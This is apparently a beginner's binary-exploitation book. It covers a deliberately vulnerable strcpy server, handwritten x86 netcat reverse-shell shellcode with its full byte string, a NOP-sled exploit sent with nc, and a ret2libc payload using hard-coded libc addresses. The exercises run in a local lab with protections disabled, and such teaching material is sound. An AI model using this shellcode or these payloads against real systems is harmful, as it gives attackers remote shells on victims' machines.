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Prolog

Hello dear reader, I wrote this book for all the people who want to learn
the art of binary exploitation which is nowadays very hard to learn, because
many tutorials and manuals are very poor to understand. For me, it was
also hard to learn all this stuff and to understand what happens in detail. I
hope you enjoy it and you have fun reading this book. My opinion here is
to go not so deep in many details. I want to bring you practical knowledge
and not only the theory about that. Why I came to the idea to write a book
about it? Well, a good friend by me had some problems with understanding
some security-related stuff of my university in programming C/C++. He
asked me why some codes from him did not work. I explained to him why.
I also explained to him to avoid some coding mistakes because of secure
programming and he understands. This has brought me to the idea to write
some posts about some programming and security stuff. Till today where I
wrote this book. For that, I want to give him a big thanks.

Thanks to GGeasyBoy
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Chapter 1

Buffer overflow

1.1 Introduction

This chapter will describe how the process of exploit development works. I
want to reach the beginner which decided to learn how exploit development
works. This chapter separates the whole process into smaller chapters. Before
we start with the first subchapter we have to find out some specific words
which I use on this whole chapter.

1.2 How finding a vulnerability works?

To find a vulnerability in a binary program debugging and analyzing or
reverse engineering is required. This is the first part of exploit development.
In this part, the writer has to understand how the program works and its
behavior. To find a vulnerability we have to test some interesting points in
the program like user inputs, internal data processing, etc...

1.3 What is a shellcode?

A shellcode is a piece of assembler code that executes some arbitrary com-
mands. This assembler code is a compiled program that has the score, to
spawn a shell for us. The origin of their name came from that score.
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1.4 What is an exploit?

An exploit is a program or a form of data, which triggers a bug or a vul-
nerability of a program or system. The score of an exploit is to exploit a
vulnerability to gain access to a system or to manipulate data of a program
or execute some miscellaneous actions. The shellcode is often embedded into
an exploit. In this chapter, the shellcode will be embedded in our exploit.

1.5 What is a buffer overflow?

A buffer overflow is a security flaw that leads to write out of our buffer,
to overwrite some data on the stack. The score here is, to overwrite the
instruction pointer called EIP on 32bit machines or RIP on 64bit machines.
When the instruction pointer gets overwritten, the attacker can control the
flow of the vulnerable program to execute the shellcode in the buffer.

1.6 Why is the instruction pointer so impor-

tant?

The instruction pointer also called program counter, is a register on a CPU,
which points to the next instruction that gets executed as next.

1.7 Definition of the development environ-

ment

Our target machine will be a Debian 10 Buster with a 32bit compiled pro-
gram. This program has no NX/DEP and ASLR. As our compiler, we use
GCC, to compile our shellcode, we use NASM. To debug the shellcode and
the vulnerable program, gdb will be used.

1.8 The vulnerable program

The vulnerable application will be a server application that prints out and
sends back our data. First, we need to identify the vulnerability and the type
of it.

/* A simple s e r v e r l i s t e n i n g on TCP port 4001
from http ://www. l inuxhowtos . org / data /6/ s e r v e r . c , modi f i ed
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by Sam Bowne */
#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>
#inc lude <s t r i n g . h>
#inc lude <uni s td . h>
#inc lude <sys / types . h>
#inc lude <sys / socke t . h>
#inc lude <n e t i n e t / in . h>
i n t c o p i e r ( char * s t r ) {

char b u f f e r [ 1 0 2 4 ] ;
s t r cpy ( bu f f e r , s t r ) ;

}
void e r r o r ( const char *msg)
{

per ro r (msg ) ;
e x i t ( 1 ) ;

}
i n t main ( i n t argc , char *argv [ ] )
{

i n t sockfd , newsockfd , portno ;
s o c k l e n t c l i l e n ;
char b u f f e r [ 4 0 9 6 ] , r ep ly [ 5 1 0 0 ] ;
s t r u c t sockaddr in serv addr , c l i a d d r ;
i n t n ;
sock fd = socket (AF INET , SOCK STREAM, 0 ) ;
i f ( sock fd < 0)

e r r o r (”ERROR opening socke t ” ) ;
bzero ( ( char *) &serv addr , s i z e o f ( s e rv addr ) ) ;
portno = 4001 ;
s e rv addr . s i n f a m i l y = AF INET ;
se rv addr . s i n addr . s addr = INADDR ANY;
se rv addr . s i n p o r t = htons ( portno ) ;
i f ( bind ( sockfd , ( s t r u c t sockaddr *) &serv addr ,

s i z e o f ( s e rv addr ) ) < 0)
e r r o r (”ERROR on binding ” ) ;

l i s t e n ( sockfd , 5 ) ;
c l i l e n = s i z e o f ( c l i a d d r ) ;
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newsockfd = accept ( sockfd ,
( s t r u c t sockaddr *) &c l i a d d r ,
&c l i l e n ) ;

i f ( newsockfd < 0)
e r r o r (”ERROR on accept ” ) ;

whi l e (1 ) {
n = wr i t e ( newsockfd ,

”Welcome to my s e r v e r ! Type in a message !\n ” , 4 3 ) ;
bzero ( bu f f e r , 4 0 9 6 ) ;
n = read ( newsockfd , bu f f e r , 4 0 9 5 ) ;
i f (n < 0) e r r o r (”ERROR read ing from socket ” ) ;

// CALL A FUNCTION WITH A BUFFER OVERFLOW VULNERABILITY
c o p i e r ( b u f f e r ) ;

}
p r i n t f (” Here i s the message : %s\n” , b u f f e r ) ;
s t r cpy ( reply , ” I got t h i s message : ” ) ;
s t r c a t ( rep ly , b u f f e r ) ;
n = wr i t e ( newsockfd , rep ly , s t r l e n ( r ep ly ) ) ;
i f (n < 0) e r r o r (”ERROR wr i t i ng to socke t ” ) ;

}
c l o s e ( newsockfd ) ;
c l o s e ( sock fd ) ;
r e turn 0 ;

}

If we look closer to the function ”copier”, we can see that a new buffer will
be created with a space of 1024 bytes. In the next line we see, is the call to
the function ”strcpy” which is very unsafe and deprecated. The great failure
of that function is, we don’t have any checks. This function copies blind
all bytes from the ”str” into the buffer. In that case, we can overflow the
whole buffer and we might be able to overwrite some data like the instruction
pointer.
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1.9 Identify the Vulnerability

The review of the code is finished and notes are taken. The next step to
do is testing. The best candidate which we can test ist the function copier.
This function will be called if the server receives some data from a TCP-
Connection. As test data, we send 1024 bytes and increase it by 10 bytes for
each transmission.

Figure 1.1: Test transmission of 1024 bytes to the vulnerable server

In Figure 1.1 can we that the vulnerable server works normally. The 1024
bytes with the value

0x41hex ⇔ Aascii

each, received successfully by the server. On the next transmission, the
amount of bytes is increased by 10 bytes.
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Figure 1.2: Send 1034 bytes(on the top). Segmentation fault by the Server(at
the bottom)

The result is that the vulnerable server gets a segmentation fault because
we have overwritten some data on the stack. Here we can identify that
this vulnerability is a typical buffer overflow. Now comes GDB in action to
determine the point where the instruction pointer gets overwritten.

Figure 1.3: Partial overwritten instruction pointer

By adding the String ”BBBB” we can see in GDB that the instruction pointer
gots partial overwritten by the String (Figure 1.3 ). That causes a segmenta-
tion fault because the instruction pointer points to an address of an instruc-
tion that doesn’t exist. Now we have to fit the data passed to the buffer, soo
that the instruction pointer is overwritten with ”0x42 = B”.

0x42hex ⇔ Bascii
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Figure 1.4: Instruction pointer overwritten with 0x42424242

By increasing the A‘s by two we now fit the whole required length to overwrite
the instruction pointer with the string

EIP = BBBBascii ⇔ 0x42424242hex → ”Control over EIP (Instruction pointer)”

On that point of analysis, we can develop the shellcode for the exploit.
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1.10 Write the shellcode

Now we have to write a shellcode which will be executed in the buffer over-
flow. For example, I will write a shellcode that spawns us a TCP- Shell.
For the TCP-Shell we use Netcat. Important for us is, that our shellcode be
smaller than the buffer. A Reverse-TCP-Shell with Netcat can be created like
that ”nc 127.0.0.1 5555 -e /bin/sh”. To write a shellcode we need some basics
about x86-assembler. The first part of the shellcode is the initialization.

Figure 1.5: First step of the shellcode

First, we have to define the entry point of our shellcode, it can be defined
with the command ”global” followed by label name in this case, the label
name is ” start”. In Figure 1.5 need to clear some registers which could
prevent our shellcode form work properly. This can be done with an XOR-
Operation in the EAX-Register. The value of this register has to be pushed
on the stack to terminate the string for the ”execve” function.
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Figure 1.6: Building the command for execve on the stack

We see in Figure 1.6 the growth direction of the stack we using to build the
command which will be executed by the ”execve”-function. Now we have to
figure out how we can use the execve function.

#inc lude <uni s td . h>
i n t execve ( const char * f i l ename , char * const argv [ ] ,
char * const envp [ ] ) ;
/*
EBX = const char * f i l ename
ECX = char * const argv [ ]
EDX = char * const envp [ ]
*/

The definition of the function ”execve” comes from the Linux unistd.h, which
gets called via syscalls too. We see that the function needs 3 parameters.
The first parameter is the filename or better the program which has to be
executed. The second parameter is the address of the passed program in
the first parameter. The third parameter specifies the environment variables
like ”HOME”, ”PATH”, ”SHELL” etc... but we don’t need this to execute
programs, and set it to NULL.
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To pass a program, we have to encode the name of the program to hex. For
this we can use python.

#commands f o r encoding s t r i n g to l i t t l e endian h e x s t r i n g s
python 2 . 7 . x >>> ’< s t r i ng > ’ [ : : =1 ] . encode ( ’ hex ’ )
python 3 . x >>> ’< s t r i ng > ’ [ : : =1 ] . encode ( ) . hex ( )

Figure 1.7: Encode /bin/nc as little-endian hex string

That must be also made for all command parameters. The encoding is in
little-endian format. Now the encoded hex string can be pushed on the stack.
That’s all what we do first in shell coding. For each part of the command,
we have to save the current Stackpointer to save all positions, which we put
later altogether. For the first part of the command, we use the register EBX.
In the manual of the syscalls on a 32Bit machine is the Register EBX the first
parameter of ”execve”. The ECX-Register gets the whole command as an
array or list. The list will be created after pushing all parts on the stack. The
third parameter of the function ”execve” is realized with the EDX register
which is NULL for this purpose.
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After applying the encoding of all command parameters, the shellcode looks
now like that.

;Command bu i ld o f the r e v e r s e s h e l l v ia push and mov
s e c t i o n . t ex t
g l o b a l s t a r t
s t a r t :

xor eax , eax ; c l e a r the r e g i s t e r eax
push eax
push 0 x636e2f6e ; push / bin /nc to the s tack
push 0 x69622 f2 f
mov ebx , esp ; save the cur r ent s tack po in t e r in ebx

push eax ; push NULL to the s tack as s t r i n g terminator
push word 0x312e ; push 1 2 7 . 0 . 0 . 1 to the s tack
push 0 x302e3030
push 0 x2e373231
mov e s i , esp ; save the cur rent s tack po in t e r in e s i

push eax ; push NULL to the s tack as s t r i n g terminator
push 0x34343434 ; push the port 4444 to the s tack
mov edi , esp ; save the cur rent s tack po in t e r in ed i

push eax ; push NULL to the s tack as s t r i n g terminator
push word 0x652d ; push opt ion =e to the s tack
mov ecx , esp ; save the cur rent s tack po in t e r in ecx

push eax ; push NULL to the s tack as s t r i n g terminator
push 0 x68732f6e ; push / bin / sh to the s tack
push 0 x69622 f2 f
mov ebp , esp ; save the cur rent s tack po in t e r in ebp

This code realizes the schema which was shown in Figure 1.6. Now we have
to clear the register EDX to let point it to NULL. After that, we can now
push all the saved addresses in reverse order on the stack. With this method,
the list or array can be realized. The register ECX gets the new current stack
pointer assigned. The parameters are now completed and can be passed to
the function ”execve”.
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To call this function we can use the syscall interrupt. This is an interface
where we can call some functions like ”write”, ”read” and ”exit” etc... The
syscall number of ”execve” is 11. This number has to be assigned to the
register EAX. Now the full shellcode is completed and can be triggered with
the assembly- line int 0x80. This line triggers the defined interrupt called
”syscall”. The further part of this shellcode should now look like that:

;Command bu i ld o f the r e v e r s e s h e l l v ia push and mov .
xor edx , edx ; s e t r e g i s t e r edx to NULL

; push the parameters in r eve r s ed order to the s tack .

; push NULL as s t r i n g terminator to the s tack .
push eax

; push saved po in t e r o f / bin / sh to the s tack .
push ebp

; push saved po in t e r o f command opt ion =e to the s tack .
push ecx

; push saved po in t e r o f port 4444 to the s tack .
push ed i

; push saved po in t e r o f ip 1 2 7 . 0 . 0 . 1 to the s tack .
push e s i

; push saved po in t e r o f / bin /nc to the s tack .
push ebx

; save the cur r ent s tack po in t e r o f argument l i s t to r e g i s t e r ecx .
mov ecx , esp

; make the s y s c a l l .
xor eax , eax ; ext ra c l ea r , to avoid wrong s y s c a l l numbers
mov al , 11 ; s e t r e g i s t e r eax to s y s c a l l number 11 ” execve ”
i n t 0x80 ; make the s y s c a l l i n t e r r u p t

17



This code will be compiled with NASM as ELF-i368 / ELF32. Let’s take
a review of the shellcode we have written. There are some tricky things we
need to know. We have to avoid null bytes because this shellcode will be
read as a string. A null byte terminates a string. To avoid a null byte by
assigning zero to a register like EAX with this line for example:

; s e t r e g i s t e r eax to NULL which r e s u l t s
; to nu l l by t e conta in ing s h e l l c o d e dump

mov eax , 0x00

We can use an xor-operation instead to get the desired result:

; Xoring r e g i s t e r eax with i t s e l f r e s u l t s
; to a c l e a r e d r e g i s t e r which i s s e t to NULL

xor eax , eax

This clears our register and has the same effect as the line above and is ”null
safe”.

”mov” < ”xor”

To push data on the stack which are smaller than 4 bytes, we can use the
keyword ”word” before the operand.

; push 2 byte data to the s tack with l ead ing z e ro s
; l e ad ing to nu l l by t e conta in ing s h e l l c o d e dump
push 0x0000dead

; push 2 byte data as WORD to the s tack
; r e s u l t s to n u l l s a f e s h e l l c o d e dump

push word 0xdead

”push word” < ”push”

To push data which is lower than 2 or greater than 3 but lower than 4 bytes,
you can add som duplicate characters like ”/”, ”#” or 0x20 = space. But a
space character can also be truncated in some situations.

; push 3 byte data to the s tack with dup l i ca t ed c h a r a c t e r s
push 0 x0069622f ; / sh

; Dupl i cate / to // which w i l l be i n t e r p r e t e d as /
push 0 x69622 f2 f
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This is also a trick to avoid null bytes, but we have to ensure that the operand
takes only 2 bytes. If we want to assign small values like the syscall number
11 to a register, we can use only a part of our desired register. The registers
we used in the shellcode are general-purpose registers. These registers can
be split in half. Each of those registers is 32 Bit long and can split into
two 16Bit registers one of them called AX. The lower 16Bit register can be
split into two 8Bit AH and AL registers. The figure shows the partition of a
register.

Figure 1.8: Partition of a general-purpose register

This can be used for all the other register like EBX, ECX, EDX, EDI and ESI.
Thw following example shows how the register values can be manipulated
with partitioning.

; example o f us ing r e g i s t e r p a r t i t i o n
s e c t i o n . t ex t
g l o b a l s t a r t
s t a r t :

xor eax , eax ; c l e a r r e g i s t e r eax

; s e t eax to 0x04030000
; r e g i s t e r eax ho lds 0x04030000 a f t e r t h i s opera t i on
mov eax , 0x04030000

; s e t on the LSB o f r e g i s t e r eax the value 0x01
; r e g i s t e r eax ho lds 0x04030001 a f t e r t h i s opera t i on
mov al , 0x1
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; s e t on the LSB+1 o f r e g i s t e r eax the value 0x01
; r e g i s t e r eax ho lds 0x04030201 a f t e r t h i s opera t i on
mov ah , 0x2

; s e t ax ( lower WORD) o f r e g i s t e r eax the value 0x01
; r e g i s t e r eax ho lds 0x04034242 a f t e r t h i s opera t i on
mov ax , 0x4242

1 If all this techniques applied, we have a really high chance to get a null free
shellcode. This shellcode can now compiled with NASM and linked with ld.
The compiled shellcode spawns a shell like in the figure below

#command to compi le
˜$ nasm =f e l f 3 2 s h e l l c o d e . asm && \

ld =o s h e l l c o d e =m e l f i 3 8 6 s h e l l c o d e . o && \
. / s h e l l c o d e

This command compiles and links the shellcode. the third part of the com-
mand runs the shellcode. A small breakdown shows how it works all together.

� nasm is the nasm compiler which compiles the source file which is
shellcode.asm.

� -f elf32 is the format in which the compiler outputs the compiled
sources. In this case a Linux 32bit ELF-Binary format. ELF stands for
Executable and Linking Format which is generally used on FreeBSD
and GNU/Linux.

� ld is the linker which link‘s the compiled object and makes it executable.

� -melf i386 is the target emulation ich wich the object will be linked.
The command line option -m is the emulation selector and the param-
eter elf i386 is the emulation value. With ld -V you can list all the
supported emulations.

� The command line option -o of the ld command specifies the output
filename in which the linked binary will be written, in this case it is
the filename shellcode.

� The argument shellcode.o is the object-ouput of the compiled shellcode
via NASM.
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Figure 1.9: Testing shellcode for functionality

� The last part of the command runs the shellcode wich was linked by
the command ld.

Figure 1.9 shows the functionality of the written shellcode. This shellcode
spawns us a Reverse-TCP-Shell with Netcat. The left terminal compiles
and links the shellcode. After compiling and linking the shellcode gets exe-
cuted. On the right side, a Netcat listener was created and waits for incoming
connections. The listener gets a connection and we can enter some shell com-
mands on the remote machine. In this figure, the attacker machine and the
remote machine are my local machine.
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The next step to check that we dont have any issues with the shellcode. For
that we use objdump to disassble the compiled code. Objdump shows that
there no null bytes in there.

Figure 1.10: Disassemble the compiled shellcode with objdump

In Figure 1.10 we see the disassembly of our shellcode. It looks like the
source that was written in the steps before. Now all opcodes (hex number
in the middle) of the entire shellcode must be extracted and converted to an
string for c. There are two options take it manualy or use a special command
for that. In this Chapter we use a crafted command.

# c r a f t e d command with objdump , grep , cut , t r and sed
˜$ echo ”\”$ ( objdump =d s h e l l c o d e | \

grep ’[0=9a=f ] : ’ | \
cut =d$ ’\ t ’ =f 2 | \
grep =v ’ f i l e ’ | \
t r =d ” \n” | \
sed ’ s / . . /\\ x&/g ’ )\””
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This command dumps the shellcode with objdump and the parameter -d.
The output will be redirected to grep to remove all non-hexadecimal. This
output will be redirected to the cut command to cut out all addresses on
the left side of the colon. Then we use the command grep to get the output
without file. This will be trimmed down to a single string using the command
tr with the option -d do specify which characters should be removed from
the output. With the command sed, we add on every second character the
escape for ”\x” to get a hex string in the language c. At the front an another
”\” will be added. This string gets surrounded into double-quotes. Viola,
the shellcode is extracted and formated to a hex string for the language c.

Figure 1.11: Extracted shellcode with the special command

Now the extracted shellcode in Figure 1.11, should be tested in C. There are
two methods to test a shellcode. The first method is to overwrite the return
address of the main function. The second method is to make just a function
call to the shellcode. Here, I’ll use the second method.
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Figure 1.12: Template to test the shellcode through a function call

This code will execute our shellcode. A short explanation, what this c code
does. In the definition of our char-array called shellcode, the shellcode will
be placed in there. The three lines in the main defines and creates a function
call. The first of these three lines is the definition of our function pointer.
The second line makes our pointer points to our shellcode. The third line
calls the pointer which executes our shellcode.

Figure 1.13: Shellcode inserted into the c code as string

As I said, we have to convert the objdump output to a hex string, I meant the
format like Figure 1.13. This shellcode is split into multiple lines to format
it nicely without scrolling to left or right. This is nice for us if we have to
assembly small fixes to the shellcode manually. Now the test code is finished
and can be compiled with GCC.
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That this code works properly, we have to disable NX and DEP. The NX-
Bit prevents the stack from being executed. The DEP is used for the stack
protection, to prevent static addresses in the stack. To disable NX and DEP
adds the flags ”-fno-stack-protector -z execstack” as a command argument.

# compile the s h e l l c o d e wrapper
˜$ gcc =m32 =fno=stack=p r o t e c t o r =z e2xecs tack t e s t e r . c =o t e s t e r

If we run this code the result looks like Figure 1.14 :

Figure 1.14: Testcode (left side) Reverse-TCP-Shell (right side)

In Figure 1.14, it is on the left side, the terminal with the test code, which
executes our shellcode. On the right side, we have the Netcat-Listener, which
waits for incoming connections. After executing this test code (left side) the
listener got a connection. Now, some commands can be executed via our
reverse shell. The next step is to create an exploit an embed this shellcode
into it.
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1.11 Write the exploit

In the part where we identified a vulnerability, we found the exact type and
the trigger of that (Figure 1.4 ). We know that the instruction pointer gets
overwritten by 1040 bytes including the new return address. We also see the
overwritten instruction pointer where we can now place arbitrary addresses
into this register. Now we can edit the padding to embed the shellcode. The
rest of the padding will be replaced with a ”nop sle”, all characters in the
padding will be replaced by a nop- operation which is the character ”\x90”.
This operation does only ”Move to the next step”. The exploit code shows
now below:

˜$ python =c ” p r i n t ’\x90 ’ * 960 + ’\ x31\xc0\x50\x68\x6e
\ x2f \x6e\x63\x68\ x2f \ x2f \x62\x69\x89\xe3\x50\x66\x68
\x2e\x31\x68\x30\x30\x2e\x30\x68\x31\x32\x37\x2e\x89
\xe6\x50\x68\x34\x34\x34\x34\x89\xe7\x50\x66\x68\x2d
\x65\x89\xe1\x50\x68\x6e\ x2f \x73\x68\x68\ x2f \ x2f \x62
\x69\x89\xe5\x31\xd2\x50\x55\x51\x57\x56\x53\x89\xe1
\x31\xc0\xb0\x0b\xcd\x80 ’ + ’BBBB’ ” | nc 1 2 7 . 0 . 0 . 1 4001

The next step we’ve to do is to determine the address where the buffer starts.
Here we have to use GDB, to printout the stack. First, we send the exploit
data to the vulnerable application. The GDB does not trigger and we have
to find the point where the data gets written into the stack.

Figure 1.15: Set the breakpointer after strcpy function call

If the application receives data from a client the ”copier” function will copy
this data into a buffer with the function ”strcpy”. In Figure 1.15 a breakpoint
is set after the function call to ”strcpy” (red). Now the stack can be printed
out and we have only to search for ”\x90”’s.
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Figure 1.16: Start of the buffer

If the start of this buffer is found an arbitrary address that lies into the buffer
range can be picked as the return address for the exploit. In Figure 1.16 the
buffer starts 4 bytes after the stack pointer, now we can finish the exploit
code by adding a valid return address.

Figure 1.17: The exploit fails wit an segmentation fault
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We see we don’t get a Reverse-TCP-Shell in Figure 1.17 because our shell-
code gots overwritten by some operations by the application. Now we have
to set padding between shellcode and the return address. I subtracted from
the left padding 500 bytes and add these bytes to the right of the shellcode.
To illustrate what I mean the diagram down below can help.

Figure 1.18: Splitted nopsled in to parts around the shellcode

The idea behind the second ”nop sled” is to move the shellcode far away
from the position where it gots overwritten. The second ”nop sled” is not
important and can be overwritten by some operations by the application.
This application will not crash anymore and show spawn us a Reverse-TCP-
Shell.
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Figure 1.19: Fixed exploit spawns a shell

Well in Figure 1.19 we see the exploit works and executes the shellcode, which
spawns a Reverse-TCP-Shell. On the terminal in the middle we see that the
vulnerable application is running. On the left terminal we see the exploit
which gets executed and connects to the server. The server gets a buffer
overflow and executes the shellcode. The shellcode spawns a Reverse-TCP-
Shell which connects to the Netcat-Listener on the right terminal. Finally
we have now access to the target system. The procedure is illustrated below.

Figure 1.20: Procedure of the exploit
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1.12 Final thoughts

This chapter was maybe hard for you but don’t worry many details will be
discused in detail in the following chapters.

If this all was easy for you to understand, congratulation! Then you are on
the right way or you have already learned. If not, then you can read this
chapter again and try it put in practice and you will understand.

What we have learned in this chapter? We have learned, what an
bufferoverflow is. We learned how we can write a simple shellcode and how
we can embed the shellcode to a simple remote exploit. We could exploit
the vulnerability to get a reverse shell to access the underlying operating
system.

Buffer overflows are a very common vulnerability type that can be found in
nearly any program. Today, many programs are compiled with NX and
DEP, which made the exploitation of this vulnerability a bit harder.
Another thing that makes the exploitation of this vulnerability much harder
is the ASLR, where the address space in a program is randomly arranged.
But for the first, it’s very essential to understand how that works.
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Chapter 2

Ret2Libc

2.1 Introduction

This chapter will describe how the process of ret2libc exploit development
works. I want to reach the beginner which decided to learn how exploit
development works. This chapter separates the whole process into small
subchapters. Before we start with the first chapter we have to find out some
specific words which I use on this whole chapter.

2.2 Prerequisites

To understand how ret2libc works a bit of basic buffer overflow exploitation
is required.

2.3 What is an ret2libc-exploit?

A ret2libc-exploit is not an exploit perse, it is a technique which defeats
non-executable stacks. Ret2libc is only a type of a buffer overflow exploit,
which doesn’t require to inject shellcodes into the stack. Ret2libc exploits
the fact that the ”libc” is bound in every time if a program gets executed.
In ”libc” we have some interesting functions like the ”system”-function. The
only thing that ret2libc makes is that internal functions of the c library are
used. The only thing that an attacker has to do is to overwrite the EIP to
return to a function of ”libc”.
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2.4 What is an non-executable stack?

A non-executable stack is a stack where the NX-bit is set. This is a method
that works with the XOR-method. Why XOR? Well, the NX-Bit has two
states write or execute only one of them is available at the runtime.

A short overview showing how XOR is defined

Q = (¬A ∧B) ∨ (A ∧ ¬B)

A B Q

0 0 0
0 1 1
1 0 1
1 1 0

A small example, the text section of a program is executable but not writable.The
Stack and the heap and other memory used by the program to store data
is not executable but writeable. This thing prevents malicious code gets ex-
ecuted on a buffer overflow. Another thing that prevents the execution of
malicious code is DEP (Data Execution Prevention). This prevents our stack
from being executed during a buffer overflow. This technique was introduced
to prevent data gets executed on the stack or some other memory locations.
If an application has a bug or a vulnerability and tries to execute data on
the stack, the hardware triggers an interrupt to the OS. The OS stops the
application immediately.

2.5 What we have to do?

For this technique, the only thing we have to do is to find the addresses of
the functions and strings in ”libc”.
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2.6 Definition of the development environ-

ment

Our target machine will be a Debian 10 Buster with a 32bit compiled pro-
gram. This program has NX/DEP enabled but the ASLR is disabled. As our
compiler, we use GCC for compiling the vulnerable program. To debug the
application and determine all important addresses of the functions in ”libc”
we use GDB. For better exploit development we use python that makes the
development of this exploit easier.

2.7 The vulnerable program.

The vulnerable application will be a simple application that prints out, what
we have entered as argument.

#inc lude <s t d i o . h>
#inc lude <s t r i n g . h>

void foo ( char * buf ) {
char b u f f e r [ 6 4 ] ;
s t r cpy ( bu f f e r , buf ) ;

}

i n t main ( i n t argc , char ** argv ) {
f oo ( argv [ 1 ] ) ;
p r i n t f (”%s ” , argv [ 1 ] ) ;

}
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2.8 Identify the Vulnerability

In this program we see in the ”main”-function is that we pass all data from
”argv[1]” into the function ”foo”. After passing the data the function foo
gets called and creates in the function body an array with 64 characters. In
the next line, we see that the data will be written into this array without
checking the bounds. This program gets a segmentation fault if the data is
bigger than 64 bytes. This program has a buffer overflow vulnerability which
is a very common security flaw.

Figure 2.1: Testing for buffer overflow

In Figure 2.1 on the first line, we see that the program gets executed success-
fully without any errors. In the second line is a buffer overflow happens and
the program gets a segmentation fault because some memory data gots over-
written like registers, ”EBP”, ”EIP” etc...Now is the point where we have to
figure out where the exact point is to overwrite the instruction pointer.
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2.9 Overwrite the instruction pointer

Figure 2.2: Segmentation fault on 70 bytes

If 70 bytes data passed to the program as argument, the program gets a
segmentation fault in Figure 2.2. We see that the instruction pointer is not
overwritten and have to figure out where the exact offset to the instruction
pointer is.

Figure 2.3: The instruction pointer is overwritten by four B’s

If we add four B’s to the payload and increase byte for byte the amount of
A’s we can figure out where the offset is.
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Alternatively, we can use a pattern generator from Metasploit or from the
PEDA plugin itself. With this generator, we can calculate the offset very
fast and easy. In figure 3 we see, that the instruction pointer is overwritten
by four B’s with an offset of 76.

The exploit here is now:

˜$ . / vuln $ ( python =c ” p r i n t ’A’ * 76 + ’BBBB’ ” )
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2.10 Prepare the Exploit

To write a ret2libc exploit, we have to collect some information and have to
think about the blueprint of this exploit and the Stack. The stack is used
by the CPU to push some data out of a register and pop some data into a
register. We have on the stack to think about function calls. A function call
is a jump to a function. Before the CPU jumps into a function, all-important
registers will be saved on the stack. A stack frame will be created for this
function call and stores the old instruction pointer as the return address.
Now we have to think about the parameters which some functions like the
function ”system” require. A parameter is pushed to the stack before the
jump into the desired function happens. Function with many parameters is
a bit harder because all parameters must be pushed on the stack in reversed
order.

Figure 2.4: Pushed parameters on the stack in reversed order

In Figure 2.4 we can see, all parameters of a function are pushed in reversed
order on to the stack and after that, it calls the function. This is what
ret2libc uses. To write the exploit we have to find the addresses of the
functions ”system” and ”exit”. To execute some command with the function
”system” we have to find the address of the string ”/bin/sh”, which will give
us a shell. We have also to find the function ”exit” which is placed between
the address system and the address of the string ”/bin/sh”. This will be
explained later.

The b l u e p r i n t o f the r e t 2 l i b c e x p l o i t
[ junk ] [ system ] [ e x i t ] [ / bin / sh ]

The first thing we need if we want to find the addresses is to set a breakpoint
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on top of the function ”main”. This stops the program and we can access the
”libc”. Libraries and some of the other stuff will be bounded in if a program
starts.

Figure 2.5: Ldd give us the base addresses of some libraries

After an execution, there is no way to access the ”libc” without calculating
dynamic addresses based on the base addresses (Figure 2.5 ). In this exam-
ple we have only to set a breakpoint which made it easier for us to find the
addresses.

What we should do if ASLR is enabled? The fact that all functions and
strings which ”libc” contains, are in the same address space gives us the ad-
vantage to calculate the offsets between the desired functions and string and
the base address of ”libc”. Let assume the offset from the base address and
the address of the function ”system” is 0x600. Then we only have to add the
offset to the base address to get the address of the function ”system”.

libcbaseaddress+ 0x600 = fnsystemaddress.

This makes the ret2libc bypassing ASLR because we don’t any fixed ad-
dresses, only relative addresses. But this is only correct if the ”libc” base
address was leaked at runtime or we have calculated the base address of
”libc” at runtime.
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Figure 2.6: Breakpoint set at ”main”

To determine the address of the function ”system”, we have to enter the
command ”print” followed by the symbol name. As a result, we get the
compiled symbol name with the address, which points to it.

Figure 2.7: Print the system address and validation with the disassembly of
this function

We know now the address of the function ”system” and can now note this
address down. This address is very important because this address will be
placed at the exact location where the instruction pointer gets overwritten.
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In Figure 2.7 we see, the function system makes a return at the end of the
function body. But we have the return address which the system function
uses also overwritten. This can be fixed with another valid address. We use
the address of the function ”exit” and can be also found in ”libc”.

Figure 2.8: Print the exit address and validation with the disassembly of this
function

Now we know the address of the function ”exit” which can be used as the
return address for the function ”system”. We see, in Figure 2.8, the function
”exit” is a no return function which means it doesn’t have a return opera-
tion at the end of the function body. In the last line, it calls the address
”0xf7e18860” which points in GDB to garbage. The last thing we have to
collect is the address of the string ”/bin/sh” which can be found in ”libc”.

Figure 2.9: Print the address of the string /bin/sh

To print the address of a string in GDB we can use the command print,
we have to use the command find which searches the given pattern in the
memory. Now all important parts and requirements a fulfilled and the de-
velopment of the exploit can be started.
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2.11 Write the Exploit

To write the exploit we can use python as a programming language. We
can now create a basic exploit template that will crash our application. The
exploit uses the python module struct to pack data into binary data in little-
endian or big-endian and more.
Reusing the exploit:

˜$ . / vuln $ ( python =c ” p r i n t ’A’ * 76 + ’BBBB’ ” )

Figure 2.10: Base of the exploit to crash the application

The implementation of exploit skeleton in Figure 2.10 is very simple. We can
see, in this code that the module struct is imported but unused. In the next
lines we see, the payload which contains 76 bytes with the character ”A”.
The last 4 bytes in the payload is the value that overwrites the instruction
pointer. The last line prints the payload, that’s it. Before all parts of this
puzzle can put together, we have to think about the layout of this exploit on
the stack. Remember, a bit in the past, as i said that we should search the
address for the function ”exit”, too. I showed a small layout of the exploit.
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Figure 2.11: Layout of the exploit on the stack

In Figure 2.11, the exploit is formatted as well. The first part of the exploit
is the padding which, brings us to the instruction pointer. As second the
address of the function ”system” that overwrites the instruction pointer to
jump into this function on a return. For the return address for the function
”exit”, there is the address of the function ”exit” appended as the third
element. Last the address of the string ”/bin/sh” is appended to the end,
to pass it as a parameter to the function ”system”. We have built a new
stackframe which allows us to make a call and give us a shell.

Figure 2.12: Insertion of the system address in the right place

We only replaced the string ”BBBB” with the system-address. Now it is
time to add the address of the function ”exit”.
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Figure 2.13: Insertion of the exit address in the right place

To finish the exploit we have now add the address of the string ”/bin/sh”
seen in Figure 2.14. The final exploit is now:

Figure 2.14: Insertion of the address ”/bin/sh”

˜$ . / vuln $ ( python =c ” p r i n t ’A’ * 76 + \
’\ xe0\x59\xe2\xf7 ’ + \
’\ x60\x8a\xe1\xf7 ’ + \
’\ xaa\x5a\ xf6 \xf7 ’ ” )
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2.12 Testing the exploit

To finish this process, it is really important that ASLR is deactivated, because
the exploit works only with static addresses space. It is also possible to write
this exploit with random address space, but I don’t want to introduce them.
To test the exploit we can run GDB to debug the vulnerable application. We
can see in GDB all step what happens if our exploit overwrites the instruction
pointer (Figure 2.15 ).

Figure 2.15: The instruction pointer is pointing to the address of the system
function

Now that the instruction pointer is overwritten by the address of the function
”system” shows that the next instructions are them of that function (Figure
2.15 ). Sometimes the application can crash, that can happen if one of the
addresses is not correct. If this happens, the best solution is to figure out
which of the addresses are not correct and substitute them with the correct
address.
